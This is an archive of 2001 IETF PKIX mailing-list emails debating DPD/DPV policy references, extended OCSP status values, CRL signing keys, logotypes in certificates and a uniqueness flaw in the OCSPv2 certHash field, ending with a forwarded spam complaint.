to find another path and if it does returns that (with a new retryReference).

You said concise, so I'll stop now. I can only hope this is comprehensive too:-)

Hoping this doesn't turn into another of those endless threads...
Stephen.

-- 
____________________________________________________________
Stephen Farrell         				   
Baltimore Technologies,   tel: (direct line) [phone]
39 Parkgate Street,                     fax: [phone]
Dublin 8.                mailto:[e-mail]
Ireland                             http://www.baltimore.com


Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.9.3/8.9.3) with ESMTP id BAA27541; Mon, 26 Mar 2001 01:18:28 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id LAA29540; Mon, 26 Mar 2001 11:17:38 +0200
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id LAA14580; Mon, 26 Mar 2001 11:17:54 +0200
Message-ID: <[e-mail]>
Date: Mon, 26 Mar 2001 11:18:17 +0200
From: Denis Pinkas <[e-mail]>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: Carlin Covey <[e-mail]>
CC: Paul Hoffman / IMC <[e-mail]>, Stephen Kent <[e-mail]>, [e-mail]
Subject: Re: some thoughts re DPD and DPV
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Carlin,

> Paul and Steve,
 
> I agree that the DPD and DPV protocols should be simplified by
> including just a reference to a server-resident path-validation
> policy.  

Fine.

> I also agree with Paul that a typical client will
> make a choice among very few policies.  In fact, most clients
> will never make a choice.  The clients and servers will be
> pre-configured with one policy per client-type per enterprise.

I do not believe so. The policy is application dependent. One application
will usually be linked with one policy. Since a client will normally support
multiple applications, he will use more than one policy.

> Simply including one policy OID in the request (possibly echoed
> in the response) will satisfy the great majority of use cases.

As I proposed during the last IETF meeting, if the client does not indicate
anything about the policy to be used in his request, then the server should
indicate what has been used.

> Paul points out the near-zero success-rate of policy protocols.
> DPD/DPV should not be made into a quasi-policy-protocol by
> including explicit policy information in the requests.  

See my proposal above. The client MAY include a reference or the client
SHOULD include a reference. 

> An OID
> will do.  If there remains a need for client-configuration of
> server-resident policies, put that in a separate protocol as
> Steve has suggested.

Fine.
 
> Let's proceed with a simplified, low-bandwidth DPD/DPV that is as
> free as possible of the burden of policy configuration.

Agreed.

Regards,

Denis


> -  Carlin Covey
>    Cylink Corporation
> 
> -----Original Message-----
> From: Paul Hoffman / IMC [mailto:[e-mail]]
> Sent: Friday, March 23, 2001 6:42 PM
> To: Stephen Kent; [e-mail]
> Subject: Re: some thoughts re DPD and DPV
> 
> At 7:09 PM -0500 3/23/01, Stephen Kent wrote:
> >We could make ALL requests refer to a policy configured at the
> >server, rather than allowing for explicit transmission of these
> >parameters. To make this as flexible as the current proposals, we
> >would have to add a new protocol, to allow a client to register a
> >policy with a server, so that the client could later refer to that
> >policy. We probably want a facility to inquire about a registered
> >policy as well.
> 
> This sounds horrendously complex. To date, the IETF has had near-zero
> success with defining policy protocols, with policy working groups
> pretty much being unable to get closure. The method promoted in SCVP
> (can give individual policy info in requests or can use aggregated
> OIDs) seems much more sensible than forcing all clients to know (or,
> worse, discover and push) the policies on the server.
> 
> The number of policies a typical client wants will probably be few
> (most likely, just roots). Why make this so much more complicated
> than needed?
> 
> --Paul Hoffman, Director
> --Internet Mail Consortium


Received: from smtp02.symbian.com (smtp02.symbian.com [194.200.144.248]) by above.proper.com (8.9.3/8.9.3) with ESMTP id BAA27232 for <[e-mail]>; Mon, 26 Mar 2001 01:17:52 -0800 (PST)
From: [e-mail]
Received: from SymbianUK05.Symbian.com (unverified) by smtp02.symbian.com (Content Technologies SMTPRS 4.1.2) with ESMTP id <[e-mail]>; Mon, 26 Mar 2001 10:16:30 +0100
Subject: Extended certificate status fields (WAS: some thoughts re DPD and DPV)
To: [e-mail]
Cc: [e-mail]
X-Mailer: Lotus Notes Release 5.0.4a  July 24, 2000
Message-ID: <[e-mail]>
Date: Mon, 26 Mar 2001 10:15:06 +0100
X-MIMETrack: Serialize by Router on SymbianUK05/Symbian(Release 5.0.4a |July 24, 2000) at 26/03/2001 10:17:02
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

Peter, All,

I agree that the current OCSP certificate status values have room for
improvement.  I like the idea of an extension to achieve this purpose, but
don't see why we should restrict ourselves simply to a boolean.  Why not a
new 'detailedStatus' enum, that covers some of the other different states
explicitly: not yet valid, expired, suspended, for example, as well as
those states already discussed.  Alternatively, since not all of these
states a mutually exclusive, some kind of bitfield may be preferred.

Regards,

Jonathan
------------
Dr Jonathan Tuliani
www.symbian.com



                                                                                                                      
                    [e-mail]                                                                                   
                    land.ac.nz             To:     [e-mail], [e-mail]                             
                    (Peter Gutmann)        cc:     [e-mail]                                                       
                    Sent by:               Subject:     RE: some thoughts re DPD and DPV                              
                    [e-mail]                                                                                   
                    land.ac.nz                                                                                        
                                                                                                                      
                                                                                                                      
                    24/03/01 14:02                                                                                    
                    Please respond                                                                                    
                    to pgut001                                                                                        
                                                                                                                      
                                                                                                                      




Speaking of OCSP, I have a suggestion for v2: Currently the status values
which
are returned are not-revoked, revoked, and unknown (note that I've used
"not-
revoked" rather than "OK" because what's called "OK" doesn't actually mean
the
cert is OK).  I've had a request from a user in Germany for an addition to
this
which provides a true-OK response (that is, a response of "This certificate
was
definitely issued and is valid as of the time the response was sent") as
well
as a true-invalid response ("This certificate wasn't issued/has been
revoked/has expired").  My suggestion for providing this was to create a
(private) extension which contains this information, but given that things
like
ISIS are doing something similar by overloading RFC 2560 it might be useful
to
make this a bit more standardised by adding it to the RFC rather than
having
everyone invent their own incompatible, ad-hoc solutions.

Note that this isn't any infringement on DPD/DPV's territory, all this is
doing
is providing more useful status information than the current return values
do.
For the extension I'd proposed the following:

  ExtendedStatus ::= BOOLEAN

  If set to true, the responder is indicating that the certificate has been
  issued and is curently valid.

  If set to false, the responder is indicating that the certificate has not
  been issued, has not become valid yet or has expired, or has been revoked
  (more information is contained in the certStatus field) or otherwise
  withdrawn from use.

This doesn't do any path validation or anything else provided for in
DPD/DPV,
all it is is an assertion from the CA/responder that as far as they're
concerned it's valid or it's not valid.  This is a very simple fix to OCSP
which is fully backwards-compatible and helps avoid the problems caused by
the
limited ability of the certStatus value to report certain certificate
conditions.

Peter.






**********************************************************************
Symbian Ltd is a company registered in England and Wales with registered number 01796587 and registered office at 19 Harcourt Street, London, W1H 4HF, UK.
This message is intended only for use by the named addressee and may contain privileged and/or confidential information. If you are not the named addressee you should not disseminate, copy or take any action in reliance on it. If you have received this message in error please notify [e-mail] and delete the message and any attachments accompanying it immediately. Symbian does not accept liability for any corruption, interception, amendment, tampering or viruses occuring to this message in transit or for any message sent by its employees which is not in compliance with Symbian corporate policy.
**********************************************************************


Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.9.3/8.9.3) with ESMTP id BAA25343 for <[e-mail]>; Mon, 26 Mar 2001 01:08:15 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id LAA24854; Mon, 26 Mar 2001 11:07:09 +0200
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id LAA14506; Mon, 26 Mar 2001 11:07:24 +0200
Message-ID: <[e-mail]>
Date: Mon, 26 Mar 2001 11:07:47 +0200
From: Denis Pinkas <[e-mail]>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: [e-mail]
CC: [e-mail], [e-mail], [e-mail]
Subject: Re: some thoughts re DPD and DPV
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Peter,

> Speaking of OCSP, I have a suggestion for v2: Currently the status values which
> are returned are not-revoked, revoked, and unknown (note that I've used "not-
> revoked" rather than "OK" because what's called "OK" doesn't actually mean the
> cert is OK).  

I fully support this. I have been making the same request to Mike for months
(years ?) and I do hope that we will finally get that change done. :-)


> I've had a request from a user in Germany for an addition to this
> which provides a true-OK response (that is, a response of "This certificate was
> definitely issued and is valid as of the time the response was sent") as well
> as a true-invalid response ("This certificate wasn't issued/has been
> revoked/has expired").  My suggestion for providing this was to create a
> (private) extension which contains this information, but given that things like
> ISIS are doing something similar by overloading RFC 2560 it might be useful to
> make this a bit more standardised by adding it to the RFC rather than having
> everyone invent their own incompatible, ad-hoc solutions.

Everyone can make its own private extensions and in that case, and we are
not going to stop this. It would be the right thing to do. Supporting a
standardised way to advertise these status goes well behind the simple
addition of two status and is thus much more than " a very simple fix to
OCSP". These additions would not be compatible with our basic model
described in RFC 2459 or son-of-RFC2459. 

The main objection is the following:

If you rely on "this certificate was definitely issued [by the CA] and is
valid as of the time the response was sent", then there is no more need for
the client to check for the signature of the certificate since this check
will/can be done by the server. Furthermore, there is no need for a
signature itself on the certificate since the server will/can make a bit to
bit comparison with the certificate stored in its database or against a hash
of the full content of the certificate stored in its database. So going into
that direction would negate the need to sign certificates ! We could
certainly design a new architecture where certificates are no more
certificates since they do not need to be signed anymore, but I would
recommend to study these alternatives in a forum different from the IETF
PKIX WG.

There are other objections, since the model you are referring is also making
additional major changes from the PKIX model, in particular about the way to
check the validity of a certificate chain and the nomination of the OCSP
servers responsible for a given CA. Once again, we are in the PKIX WG with a
well defined model based on X.509. There are certainly alternatives to this
model. Alernatives may have their own merits. However, they should not be
progressed in the PKIX WG. Note that this topic has already been brought up
to the PKIX list and discarded.

Regards,

Denis


> Note that this isn't any infringement on DPD/DPV's territory, all this is doing
> is providing more useful status information than the current return values do.
> For the extension I'd proposed the following:
> 
>   ExtendedStatus ::= BOOLEAN
> 
>   If set to true, the responder is indicating that the certificate has been
>   issued and is curently valid.
> 
>   If set to false, the responder is indicating that the certificate has not
>   been issued, has not become valid yet or has expired, or has been revoked
>   (more information is contained in the certStatus field) or otherwise
>   withdrawn from use.
> 
> This doesn't do any path validation or anything else provided for in DPD/DPV,
> all it is is an assertion from the CA/responder that as far as they're
> concerned it's valid or it's not valid.  This is a very simple fix to OCSP
> which is fully backwards-compatible and helps avoid the problems caused by the
> limited ability of the certStatus value to report certain certificate
> conditions.
> 
> Peter.


Received: from server.interclear.net (server.interclear.net [193.130.149.198]) by above.proper.com (8.9.3/8.9.3) with ESMTP id AAA22357 for <[e-mail]>; Mon, 26 Mar 2001 00:49:02 -0800 (PST)
From: [e-mail]
Received: by server.interclear.co.uk with Internet Mail Service (5.5.2650.21) id <HMMJW3CZ>; Mon, 26 Mar 2001 09:41:51 +0100
Message-ID: <[e-mail]>
To: [e-mail]
Subject: CRLs
Date: Mon, 26 Mar 2001 09:41:49 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0B5D0.9951E500"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0B5D0.9951E500
Content-Type: text/plain;
	charset="iso-8859-1"

Hi,
	I'm trying to split CA functionality. I want to have one private key
to sign certificates (CA key), and the second one to sign CRLs.
	First is it possible to do it? Because in the standard I've found:
"The CRL is signed using the CA's private key." (is it the same CA, which
sign this certificate? In other words, CA can only revoke certificates it
signed, Am I right?)
	
	I've read draft "Internet X.509 Public Key Infrastructure:
Certificate and CRL Profile" and I didn't find response. Could someone
explain me what for is CRL entry extension Certificate Issuer, I guess
should indicate certificate signer, but it should be the same authority
which signed CRL. In my opinion it's not clear enough.

Reagrds,

Pawel Krupinski

------_=_NextPart_001_01C0B5D0.9951E500
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>CRLs</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Hi,</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>I'm =
trying to split CA functionality. I want to have one private key to =
sign certificates (CA key), and the second one to sign CRLs.</FONT></P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>First is =
it possible to do it? Because in the standard I've found: &quot;The CRL =
is signed using the CA's private key.&quot; (is it the same CA, which =
sign this certificate? In other words, CA can only revoke certificates =
it signed, Am I right?)</FONT></P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>I've read =
draft &quot;Internet X.509 Public Key Infrastructure: Certificate and =
CRL Profile&quot; and I didn't find response. Could someone explain me =
what for is CRL entry extension Certificate Issuer, I guess should =
indicate certificate signer, but it should be the same authority which =
signed CRL. In my opinion it's not clear enough.</FONT></P>

<P><FONT SIZE=3D2>Reagrds,</FONT>
</P>

<P><FONT SIZE=3D2>Pawel Krupinski</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0B5D0.9951E500--


Received: from cdc-info.cdc.informatik.tu-darmstadt.de (cdc-info.cdc.informatik.tu-darmstadt.de [130.83.23.100]) by above.proper.com (8.9.3/8.9.3) with ESMTP id AAA22257 for <[e-mail]>; Mon, 26 Mar 2001 00:48:33 -0800 (PST)
Received: from cdc-ws1.cdc.informatik.tu-darmstadt.de (cdc-ws1 [130.83.23.129]) by cdc-info.cdc.informatik.tu-darmstadt.de (Postfix) with ESMTP id CFC942C79; Mon, 26 Mar 2001 10:48:32 +0200 (MET DST)
Received: (from moeller@localhost) by cdc-ws1.cdc.informatik.tu-darmstadt.de (8.9.3+Sun/8.9.3) id KAA29145; Mon, 26 Mar 2001 10:48:29 +0200 (MEST)
X-Authentication-Warning: cdc-ws1.cdc.informatik.tu-darmstadt.de: moeller set sender to [e-mail] using -f
Date: Mon, 26 Mar 2001 10:48:29 +0200
From: Bodo Moeller <[e-mail]>
To: Dean Povey <[e-mail]>
Cc: "David P. Kemp" <[e-mail]>, [e-mail]
Subject: Re: Logotypes [not] in certificates
Message-ID: <[e-mail]>
References: <[e-mail]> <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
User-Agent: Mutt/1.2i
In-Reply-To: <[e-mail]>; from [e-mail] on Fri, Mar 23, 2001 at 07:59:17AM +1000

On Fri, Mar 23, 2001 at 07:59:17AM +1000, Dean Povey wrote:

> [...]  However, names are frequently ambiguous and in some cases are 
> difficult to recognise.  This leads to problems where an attacker obtains 
> a Certificate for a name similar to an organisation they are trying to 
> target.  For a concrete examples see the recent slashdot story:
> 
> http://slashdot.org/articles/01/03/22/1947233.shtml
> 
> And MicroSoft's Bulletin:
> http://www.microsoft.com/technet/security/bulletin/MS01-017.asp
> 
> Logos are much easier for humans to recognise.  By having a CA bind the
> public key to a logo and having the UI use it appropriately you enable
> users to make much better decisions about how they use their certificates.

I am not sure I get your point.  Are you saying that including logos
into certificates could have prevented this from happening?
According to the Microsoft Security Bulletin,

     VeriSign, Inc., recently advised Microsoft that on January 29 and 30,
     2001, it issued two VeriSign Class 3 code-signing digital certificates
     to an individual who fraudulently claimed to be a Microsoft employee.

I fail to see what difference it would have made to include logos into
the process.

In the message that started this thread it was claimed that "logotypes
are carriers of trust," whatever this means.  The argument was made
that certificates "must be user friendly" and not only be accessible
to "technically oriented users".  Let me assume the role of advocatus
diaboli: The basic idea appears to be that users who don't have a clue
of what is going on should not notice that they don't.  The technical
process of certification is enriched with colourful logotypes to give
certificate recipients warm fuzzies and convey a feeling of "trust."
Users who don't understand the concept of chain validation and the
risks of mis-certification will gladly accept certificates as genuine
because they carry the proper logo.  In other words, we are discussing
how to enable the digital world for one of the traditional tricks for
faking physical ID, which is to use logos to evoke trust.

(Exit advocatus diaboli.  Enter Bodo.)

You say that logos bound to public keys "enable users to make much
better decisions about how they use their certificates."  Will logos
really help to make *better* decisions?  Won't they rather make it
easier to make mistakes?


-- 
Bodo Möller <[e-mail]>
PGP http://www.informatik.tu-darmstadt.de/TI/Mitarbeiter/moeller/0x36d2c658.html
* TU Darmstadt, Theoretische Informatik, Alexanderstr. 10, D-64283 Darmstadt
* Tel. [phone], Fax [phone]


Received: from mailo.vtcif.telstra.com.au (mailo.vtcif.telstra.com.au [202.12.144.17]) by above.proper.com (8.9.3/8.9.3) with ESMTP id WAA01923 for <[e-mail]>; Sun, 25 Mar 2001 22:48:04 -0800 (PST)
Received: (from uucp@localhost) by mailo.vtcif.telstra.com.au (8.8.2/8.6.9) id QAA28001 for <[e-mail]>; Mon, 26 Mar 2001 16:47:27 +1000 (EST)
Received: from maili.vtcif.telstra.com.au(202.12.142.17) via SMTP by mailo.vtcif.telstra.com.au, id smtpd0wJ3c9; Mon Mar 26 16:46:15 2001
Received: (from uucp@localhost) by maili.vtcif.telstra.com.au (8.8.2/8.6.9) id QAA12081 for <[e-mail]>; Mon, 26 Mar 2001 16:46:15 +1000 (EST)
Received: from localhost(127.0.0.1), claiming to be "mail.cdn.telstra.com.au" via SMTP by localhost, id smtpdlKHcX_; Mon Mar 26 16:44:47 2001
Received: from ntmsg0028.corpmail.telstra.com.au (ntmsg0028.corpmail.telstra.com.au [192.168.174.24]) by mail.cdn.telstra.com.au (8.8.2/8.6.9) with ESMTP id QAA17826 for <[e-mail]>; Mon, 26 Mar 2001 16:44:46 +1000 (EST)
Received: by ntmsg0028.corpmail.telstra.com.au with Internet Mail Service (5.5.2650.21) id <GH1TJD1J>; Mon, 26 Mar 2001 16:44:43 +1000
Message-ID: <[e-mail]>
From: "Manger, James H" <[e-mail]>
To: "'[e-mail]'" <[e-mail]>
Subject: OCSPv2: 02: certHash is not unique
Date: Mon, 26 Mar 2001 16:14:50 +1000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0B5C0.3C2BFB3C"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0B5C0.3C2BFB3C
Content-Type: text/plain;
	charset="iso-8859-1"

Comment on draft-ietf-pkix-ocspv2-02.txt

In section 3.1.2 Certificate Identification, the ReqCert type includes a
certHash field as one option for a client to identify a certificate.  The
syntax for the certHash field is an OCTET STRING.

There is no text describing the certHash field.  I guess it holds a hash of
the certificate.  I guess the hash is calculated over the DER-encoding of
the complete certificate.  There seems to be no indication of the hash
algorithm - perhaps it is always SHA-1.

I guess a certHash value is supposed to match the certificate "fingerprint"
or "thumbprint" that the browsers display.  A browsers relies on a
thumbprint unambiguously identifying a single certificate.  OCSPv2, on the
other hand, relies on a certificate having a unique certHash value.  These
properties - unambiguity and uniqueness - are quite different.  It is
reasonable to assume a certificate thumbprint is unambiguous, but it is
dangerous to assume it is unique for the certificate.

There are a number of ways to alter the encoding of the unsigned portion of
a certificate (signatureAlgorithm field, signatureValue field and outer most
tags).  Such modification don't alter the signed portion so the signature
remains valid, but they do change the thumbprint.  An attacker can modify
the bytes (hence thumbprint) without modifying the semantics of a
certificate.

For instance, consider omitting the NULL signature parameters associated
with sha1WithRSAEncryption in the signatureAlgorithm field.  It is not
unreasonable for a system to still accept such a certificate (particularly
with the "be strict with what you send but lenient with what you receive"
philosophy).  Yet the bytes do change so the thumbprint also changes.

An OCSPv2 responder may have one thumbprint of a certificate in its table of
revoked certificates, but would return "good" if a different thumbprint for
the same certificate appeared in the certHash field.

A better thumbprint (that is unique for a certificate) is a hash over only
the signed portion of the certificate (i.e. the same hash that goes into the
signature).

SOLUTION:  Delete the certHash field from the ReqCert type.


------_=_NextPart_001_01C0B5C0.3C2BFB3C
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE></TITLE>

<META content="MSHTML 5.00.3105.105" name=GENERATOR></HEAD>
<BODY>
<P><FONT face=Arial><FONT size=2>Comment on <FONT 
face="Courier New"></FONT><FONT 
size=2>draft-ietf-pkix-ocspv2-02.txt<BR><BR></FONT></FONT><FONT size=2>In 
section 3.1.2 <EM>Certificate Identification</EM><SPAN 
class=336071605-26032001><EM>, </EM></SPAN>the <STRONG>ReqCert</STRONG> type 
includes a <STRONG>certHash</STRONG> field as one option for a client to 
identify&nbsp;a certificate.<SPAN class=336071605-26032001>&nbsp; The syntax for 
the <STRONG>certHash</STRONG> field is an <STRONG>OCTET 
STRING</STRONG>.</SPAN></FONT></FONT></P>
<P><FONT face=Arial><FONT size=2><SPAN class=336071605-26032001>There is no text 
describing the <STRONG>certHash</STRONG> field.&nbsp;&nbsp;I guess it holds a 
hash of the certificate.&nbsp; I guess the hash is calculated over the 
DER-encoding of the complete certificate.&nbsp; There seems to be no indication 
of the hash algorithm -&nbsp;perhaps it is always 
SHA-1.</SPAN></FONT></FONT></P>
<P><FONT face=Arial><FONT size=2><SPAN class=336071605-26032001>I guess a 
<STRONG>certHash</STRONG> value is supposed to match the certificate 
"fingerprint" or "thumbprint" that the browsers display.&nbsp; A browsers relies 
on&nbsp;a thumbprint unambiguously identifying a single certificate.&nbsp; 
OCSPv2, on the other hand, relies on&nbsp;a certificate&nbsp;having a unique 
<STRONG>certHash</STRONG> value.&nbsp; These properties - unambiguity and 
uniqueness - are quite different.&nbsp; It is reasonable to assume a certificate 
thumbprint is unambiguous, but it is dangerous to assume it is unique for the 
certificate.</SPAN></FONT></FONT></P>
<P><FONT face=Arial size=2><SPAN class=336071605-26032001>There are a number of 
ways to alter the encoding of the unsigned portion of a certificate 
(<STRONG>signatureAlgorithm</STRONG> field, <STRONG>signatureValue</STRONG> 
field and outer most tags).&nbsp; Such modification don't alter the signed 
portion so the signature remains valid, but they do change the thumbprint.&nbsp; 
An attacker can modify the bytes (hence thumbprint) without modifying the 
semantics of a certificate.</SPAN></FONT></P>
<P><FONT face=Arial size=2><SPAN class=336071605-26032001>For instance, consider 
omitting the <STRONG>NULL</STRONG> signature parameters associated with 
<STRONG>sha1WithRSAEncryption</STRONG> in the 
<STRONG>signatureAlgorithm</STRONG> field.&nbsp; It is not unreasonable for a 
system to still accept such a certificate (particularly with the "be strict with 
what you send but lenient with what you receive" philosophy).&nbsp; Yet the 
bytes do change so the thumbprint also changes.</SPAN></FONT></P>
<P><FONT face=Arial size=2><SPAN class=336071605-26032001></SPAN></FONT><FONT 
face=Arial size=2><SPAN class=336071605-26032001>An OCSPv2 responder may 
have&nbsp;one thumbprint of a certificate in its table of revoked certificates, 
but would return "<FONT face="Courier New">good</FONT>" if a different 
thumbprint for the same certificate appeared in the <STRONG>certHash</STRONG> 
field.</SPAN></FONT></P>
<P><FONT face=Arial size=2><SPAN class=336071605-26032001>A better thumbprint 
(that is unique for a certificate) is a hash over only the signed portion of the 
certificate (i.e. the same hash that goes into the signature).</SPAN></FONT></P>
<P><FONT face=Arial size=2><SPAN class=336071605-26032001>SOLUTION:&nbsp; Delete 
the <STRONG>certHash</STRONG> field from the <STRONG>ReqCert</STRONG> 
type.</SPAN></FONT></P></BODY></HTML>

------_=_NextPart_001_01C0B5C0.3C2BFB3C--


Received: from femail22.sdc1.sfba.home.com (femail22.sdc1.sfba.home.com [24.0.95.147]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA09621 for <[e-mail]>; Sun, 25 Mar 2001 13:01:14 -0800 (PST)
Received: from c1046922a ([24.10.21.100]) by femail22.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP id <20010325210102.GGUW12281.femail22.sdc1.sfba.home.com@c1046922a> for <[e-mail]>; Sun, 25 Mar 2001 13:01:02 -0800
Reply-To: <[e-mail]>
From: "James T. Chao" <[e-mail]>
To: <[e-mail]>
Subject: FW: Would you like to recieve information on how to register your pet online for free?
Date: Sun, 25 Mar 2001 14:58:15 -0600
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_0004_01C0B53C.050A4C00"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300

This is a multi-part message in MIME format.

------=_NextPart_000_0004_01C0B53C.050A4C00
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

WE SHOULD NOT TOLERATE THIS KIND OF JUNK EMAILS!

Please investigate on this!

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++

-----Original Message-----
From: [e-mail] [mailto:[e-mail]]
Sent: Sunday, March 25, 2001 2:04 AM
To: [e-mail]
Subject: Would you like to recieve information on how to register your pet
online for free?

Hello!
Would you like to know how to register your pet online for free?
If you would like to be removed from ever receiving another email please
type REMOVE only in the return subject header. We respect your right to
privacy.
If you would like to receive more information on how to register your pet
for free just reply to this email message with PLEASE SEND INFO only in the
subject header.
Thank You

------=_NextPart_000_0004_01C0B53C.050A4C00
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<html xmlns:v=3D"urn:schemas-microsoft-com:vml" =
xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 9">
<meta name=3DOriginator content=3D"Microsoft Word 9">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C0B53C.04E8BA40">
<title>Untitled Document</title>
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:Zoom>0</w:Zoom>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
 </w:WordDocument>
</xml><![endif]-->
<style>
<!--
 /* Font Definitions */
@font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:16792199 0 0 0 65791 0;}
 /* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";
	color:black;}
p.MsoAutoSig, li.MsoAutoSig, div.MsoAutoSig
	{margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";
	color:black;}
p
	{margin-right:0in;
	mso-margin-top-alt:auto;
	mso-margin-bottom-alt:auto;
	margin-left:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";
	color:black;}
span.EmailStyle16
	{mso-style-type:personal-reply;
	mso-ansi-font-size:10.0pt;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:navy;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 9]><xml>
 <o:shapedefaults v:ext=3D"edit" spidmax=3D"1027"/>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <o:shapelayout v:ext=3D"edit">
  <o:idmap v:ext=3D"edit" data=3D"1"/>
 </o:shapelayout></xml><![endif]-->
</head>

<body bgcolor=3Dwhite lang=3DEN-US style=3D'tab-interval:.5in'>

<div class=3DSection1>

<p class=3DMsoNormal><span class=3DEmailStyle16><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>WE=
 SHOULD
NOT TOLERATE THIS KIND OF JUNK =
EMAILS!<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle16><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'><!=
[if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle16><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>Pl=
ease
investigate on this!<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle16><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'><!=
[if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle16><font size=3D2 =
